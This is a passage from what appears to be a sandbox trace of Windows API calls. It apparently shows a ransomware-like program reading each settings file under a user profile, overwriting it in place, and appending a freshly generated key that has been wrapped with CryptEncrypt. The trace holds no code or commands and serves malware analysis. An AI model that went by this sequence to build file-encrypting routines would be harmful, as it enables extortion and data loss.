lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0196.661] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1305, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.661] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x519, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0196.662] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x519 [0196.662] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.662] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.663] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.663] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.663] CloseHandle (hObject=0x1c24) returned 1 [0196.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.665] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Personalize_LockScreenAppsTile.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.665] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4ff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ff, lpOverlapped=0x0) returned 1 [0196.666] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1279, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.667] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4ff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ff, lpOverlapped=0x0) returned 1 [0196.667] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ff [0196.667] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.667] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.667] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.668] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.669] CloseHandle (hObject=0x1c24) returned 1 [0196.672] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.672] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.672] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Personalize_LockScreenAppsBadge.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.672] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x504, lpOverlapped=0x0) returned 1 [0196.673] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1284, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.673] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x504, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x504, lpOverlapped=0x0) returned 1 [0196.674] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x504 [0196.674] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.674] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.675] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.675] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.676] CloseHandle (hObject=0x1c24) returned 1 [0196.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.678] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Personalize_Color_EnableTransparency.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.678] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x521, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x521, lpOverlapped=0x0) returned 1 [0196.680] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1313, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.680] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x521, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x521, lpOverlapped=0x0) returned 1 [0196.681] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x521 [0196.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.681] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.682] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.682] CloseHandle (hObject=0x1c24) returned 1 [0196.683] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.683] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0196.683] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Personalize_Color_ColorPrevalence.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.684] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x512, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x512, lpOverlapped=0x0) returned 1 [0196.685] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1298, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.685] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x512, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x512, lpOverlapped=0x0) returned 1 [0196.685] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x512 [0196.685] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.685] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.686] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.686] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.686] CloseHandle (hObject=0x1c24) returned 1 [0196.695] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0196.695] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.695] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Personalize_Background_ChooseFit.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.696] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x50f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x50f, lpOverlapped=0x0) returned 1 [0196.697] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.697] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x50f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50f, lpOverlapped=0x0) returned 1 [0196.698] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50f [0196.698] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.698] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.698] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.699] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.699] CloseHandle (hObject=0x1c24) returned 1 [0196.700] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.701] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.701] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Personalize_Background_ChooseBackground.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.701] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x532, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x532, lpOverlapped=0x0) returned 1 [0196.710] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.710] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x532, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x532, lpOverlapped=0x0) returned 1 [0196.711] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x532 [0196.711] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.711] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.711] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.712] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.712] CloseHandle (hObject=0x1c24) returned 1 [0196.714] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.714] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.714] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PCSystem_SystemTypeStatus.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.714] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f1be0, nNumberOfBytesToRead=0x4e9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f1be0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e9, lpOverlapped=0x0) returned 1 [0196.718] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1257, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.718] WriteFile (in: hFile=0x1c24, lpBuffer=0x30efdb0*, nNumberOfBytesToWrite=0x4e9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30efdb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e9, lpOverlapped=0x0) returned 1 [0196.719] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e9 [0196.719] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.719] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.719] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.719] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.720] CloseHandle (hObject=0x1c24) returned 1 [0196.721] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.721] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0196.721] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PCSystem_RenamePC.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.722] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4c1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c1, lpOverlapped=0x0) returned 1 [0196.723] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1217, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.723] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4c1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c1, lpOverlapped=0x0) returned 1 [0196.723] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c1 [0196.724] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.724] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.724] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.724] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.724] CloseHandle (hObject=0x1c24) returned 1 [0196.726] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.726] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.726] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PCSystem_ProductIdStatus.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.726] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4e4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e4, lpOverlapped=0x0) returned 1 [0196.727] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.727] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e4, lpOverlapped=0x0) returned 1 [0196.728] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e4 [0196.728] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.728] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.728] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.728] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.729] CloseHandle (hObject=0x1c24) returned 1 [0196.737] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.737] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.737] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PCSystem_ProcessorStatus.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.738] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4e4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e4, lpOverlapped=0x0) returned 1 [0196.739] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.739] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e4, lpOverlapped=0x0) returned 1 [0196.739] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e4 [0196.739] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 